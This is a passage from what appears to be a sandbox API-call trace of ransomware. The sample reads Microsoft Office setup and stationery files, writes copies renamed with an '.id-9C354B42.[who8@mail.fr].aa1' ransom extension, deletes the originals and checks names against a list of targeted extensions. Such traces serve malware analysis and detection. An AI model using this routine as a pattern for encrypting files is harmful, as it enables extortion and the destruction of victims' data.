[0211.184] GetLastError () returned 0x0 [0211.184] ReadFile (in: hFile=0x1dc, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x41d4, lpOverlapped=0x0) returned 1 [0211.533] WriteFile (in: hFile=0x200, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x41e0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x41e0, lpOverlapped=0x0) returned 1 [0211.534] ReadFile (in: hFile=0x1dc, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0211.535] WriteFile (in: hFile=0x200, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xf0, lpOverlapped=0x0) returned 1 [0211.535] SetEndOfFile (hFile=0x200) returned 1 [0211.535] CloseHandle (hObject=0x200) returned 1 [0211.535] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0211.535] SetEndOfFile (hFile=0x1dc) returned 1 [0211.536] CloseHandle (hObject=0x1dc) returned 1 [0211.536] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0211.537] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml")) returned 1 [0211.537] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0211.537] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0211.537] lstrlenW (lpString=".doc") returned 4 [0211.537] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0211.537] lstrlenW (lpString=".docx") returned 5 [0211.537] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0211.537] lstrlenW (lpString=".pdf") returned 4 [0211.537] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0211.537] lstrlenW (lpString=".xls") returned 4 [0211.537] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0211.537] lstrlenW (lpString=".xlsx") returned 5 [0211.537] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0211.537] lstrlenW (lpString=".ppt") returned 4 [0211.537] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0211.537] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0211.538] lstrlenW (lpString=".zip") returned 4 [0211.538] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0211.538] lstrlenW (lpString=".rar") returned 4 [0211.538] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0211.538] lstrlenW (lpString=".bz2") returned 4 [0211.538] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0211.538] lstrlenW (lpString=".7z") returned 3 [0211.538] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0211.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0211.538] lstrlenW (lpString=".dbf") returned 4 [0211.538] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0211.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0211.538] lstrlenW (lpString=".1cd") returned 4 [0211.538] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0211.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0211.538] lstrlenW (lpString=".jpg") returned 4 [0211.538] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0211.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0211.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0211.538] lstrlenW (lpString=".doc") returned 4 [0211.538] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0211.539] lstrlenW (lpString=".docx") returned 5 [0211.539] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0211.539] lstrlenW (lpString=".pdf") returned 4 [0211.539] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0211.539] lstrlenW (lpString=".xls") returned 4 [0211.539] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0211.539] lstrlenW (lpString=".xlsx") returned 5 [0211.539] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0211.539] lstrlenW (lpString=".ppt") returned 4 [0211.539] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0211.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0211.539] lstrlenW (lpString=".zip") returned 4 [0211.539] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0211.539] lstrlenW (lpString=".rar") returned 4 [0211.539] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0211.539] lstrlenW (lpString=".bz2") returned 4 [0211.539] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0211.539] lstrlenW (lpString=".7z") returned 3 [0211.539] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0211.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0211.539] lstrlenW (lpString=".dbf") returned 4 [0211.540] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0211.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0211.540] lstrlenW (lpString=".1cd") returned 4 [0211.540] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0211.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0211.540] lstrlenW (lpString=".jpg") returned 4 [0211.540] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0211.540] lstrcmpiW (lpString1=".XML", lpString2=".aa1") returned 1 [0211.540] lstrlenW (lpString="SETUP.XML") returned 9 [0211.540] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0212.350] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=1608) returned 1 [0212.350] CloseHandle (hObject=0x1a0) returned 1 [0212.350] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml")) returned 0x20 [0212.350] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0212.350] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0212.350] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0212.350] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0212.350] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0212.351] GetLastError () returned 0x0 [0212.351] ReadFile (in: hFile=0x1a0, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x648, lpOverlapped=0x0) returned 1 [0212.469] WriteFile (in: hFile=0x200, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x650, lpOverlapped=0x0) returned 1 [0212.470] ReadFile (in: hFile=0x1a0, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0212.470] WriteFile (in: hFile=0x200, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0212.471] SetEndOfFile (hFile=0x200) returned 1 [0212.471] CloseHandle (hObject=0x200) returned 1 [0212.471] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0212.471] SetEndOfFile (hFile=0x1a0) returned 1 [0212.472] CloseHandle (hObject=0x1a0) returned 1 [0212.473] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0212.473] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml")) returned 1 [0212.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0212.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0212.473] lstrlenW (lpString=".doc") returned 4 [0212.473] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0212.473] lstrlenW (lpString=".docx") returned 5 [0212.473] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0212.473] lstrlenW (lpString=".pdf") returned 4 [0212.473] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0212.473] lstrlenW (lpString=".xls") returned 4 [0212.473] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0212.473] lstrlenW (lpString=".xlsx") returned 5 [0212.473] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0212.473] lstrlenW (lpString=".ppt") returned 4 [0212.473] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0212.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0212.473] lstrlenW (lpString=".zip") returned 4 [0212.474] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0212.474] lstrlenW (lpString=".rar") returned 4 [0212.474] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0212.474] lstrlenW (lpString=".bz2") returned 4 [0212.474] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0212.474] lstrlenW (lpString=".7z") returned 3 [0212.474] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0212.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0212.474] lstrlenW (lpString=".dbf") returned 4 [0212.474] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0212.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0212.474] lstrlenW (lpString=".1cd") returned 4 [0212.474] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0212.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0212.474] lstrlenW (lpString=".jpg") returned 4 [0212.474] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0212.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0212.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0212.474] lstrlenW (lpString=".doc") returned 4 [0212.474] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0212.474] lstrlenW (lpString=".docx") returned 5 [0212.474] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0212.474] lstrlenW (lpString=".pdf") returned 4 [0212.474] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0212.474] lstrlenW (lpString=".xls") returned 4 [0212.474] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0212.474] lstrlenW (lpString=".xlsx") returned 5 [0212.474] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0212.474] lstrlenW (lpString=".ppt") returned 4 [0212.474] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0212.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0212.475] lstrlenW (lpString=".zip") returned 4 [0212.475] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0212.475] lstrlenW (lpString=".rar") returned 4 [0212.475] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0212.475] lstrlenW (lpString=".bz2") returned 4 [0212.475] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0212.475] lstrlenW (lpString=".7z") returned 3 [0212.475] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0212.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0212.475] lstrlenW (lpString=".dbf") returned 4 [0212.475] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0212.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0212.475] lstrlenW (lpString=".1cd") returned 4 [0212.475] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0212.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0212.475] lstrlenW (lpString=".jpg") returned 4 [0212.475] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0212.475] lstrcmpiW (lpString1=".XML", lpString2=".aa1") returned 1 [0212.475] lstrlenW (lpString="WordMUI.XML") returned 11 [0212.475] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0212.492] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=1800) returned 1 [0212.492] CloseHandle (hObject=0x1a0) returned 1 [0212.492] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml")) returned 0x20 [0212.492] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0212.492] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0212.492] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0212.493] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0212.493] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0212.493] GetLastError () returned 0x0 [0212.493] ReadFile (in: hFile=0x1a0, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x708, lpOverlapped=0x0) returned 1 [0212.530] WriteFile (in: hFile=0x200, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x710, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x710, lpOverlapped=0x0) returned 1 [0213.731] ReadFile (in: hFile=0x1a0, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0213.731] WriteFile (in: hFile=0x200, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xea, lpOverlapped=0x0) returned 1 [0213.732] SetEndOfFile (hFile=0x200) returned 1 [0214.021] CloseHandle (hObject=0x200) returned 1 [0214.263] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0214.263] SetEndOfFile (hFile=0x1a0) returned 1 [0214.532] CloseHandle (hObject=0x1a0) returned 1 [0214.533] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0214.533] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml")) returned 1 [0214.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0214.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0214.533] lstrlenW (lpString=".doc") returned 4 [0214.533] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0214.533] lstrlenW (lpString=".docx") returned 5 [0214.534] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0214.534] lstrlenW (lpString=".pdf") returned 4 [0214.534] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0214.534] lstrlenW (lpString=".xls") returned 4 [0214.534] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0214.534] lstrlenW (lpString=".xlsx") returned 5 [0214.534] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0214.534] lstrlenW (lpString=".ppt") returned 4 [0214.534] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0214.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0214.534] lstrlenW (lpString=".zip") returned 4 [0214.534] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0214.534] lstrlenW (lpString=".rar") returned 4 [0214.534] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0214.534] lstrlenW (lpString=".bz2") returned 4 [0214.534] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0214.534] lstrlenW (lpString=".7z") returned 3 [0214.534] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0214.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0214.534] lstrlenW (lpString=".dbf") returned 4 [0214.535] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0214.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0214.535] lstrlenW (lpString=".1cd") returned 4 [0214.535] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0214.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0214.535] lstrlenW (lpString=".jpg") returned 4 [0214.535] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0214.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0214.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0214.535] lstrlenW (lpString=".doc") returned 4 [0214.535] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0214.535] lstrlenW (lpString=".docx") returned 5 [0214.535] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0214.535] lstrlenW (lpString=".pdf") returned 4 [0214.535] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0214.535] lstrlenW (lpString=".xls") returned 4 [0214.535] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0214.535] lstrlenW (lpString=".xlsx") returned 5 [0214.535] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0214.535] lstrlenW (lpString=".ppt") returned 4 [0214.535] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0214.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0214.535] lstrlenW (lpString=".zip") returned 4 [0214.535] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0214.535] lstrlenW (lpString=".rar") returned 4 [0214.535] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0214.536] lstrlenW (lpString=".bz2") returned 4 [0214.536] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0214.536] lstrlenW (lpString=".7z") returned 3 [0214.536] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0214.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0214.536] lstrlenW (lpString=".dbf") returned 4 [0214.536] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0214.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0214.536] lstrlenW (lpString=".1cd") returned 4 [0214.536] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0214.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0214.536] lstrlenW (lpString=".jpg") returned 4 [0214.536] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0214.536] lstrcmpiW (lpString1=".htm", lpString2=".aa1") returned 1 [0214.536] lstrlenW (lpString="Bears.htm") returned 9 [0214.536] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0218.478] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=255) returned 1 [0218.478] CloseHandle (hObject=0x1f4) returned 1 [0218.478] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm")) returned 0x20 [0218.478] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0218.478] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0xc0000000, 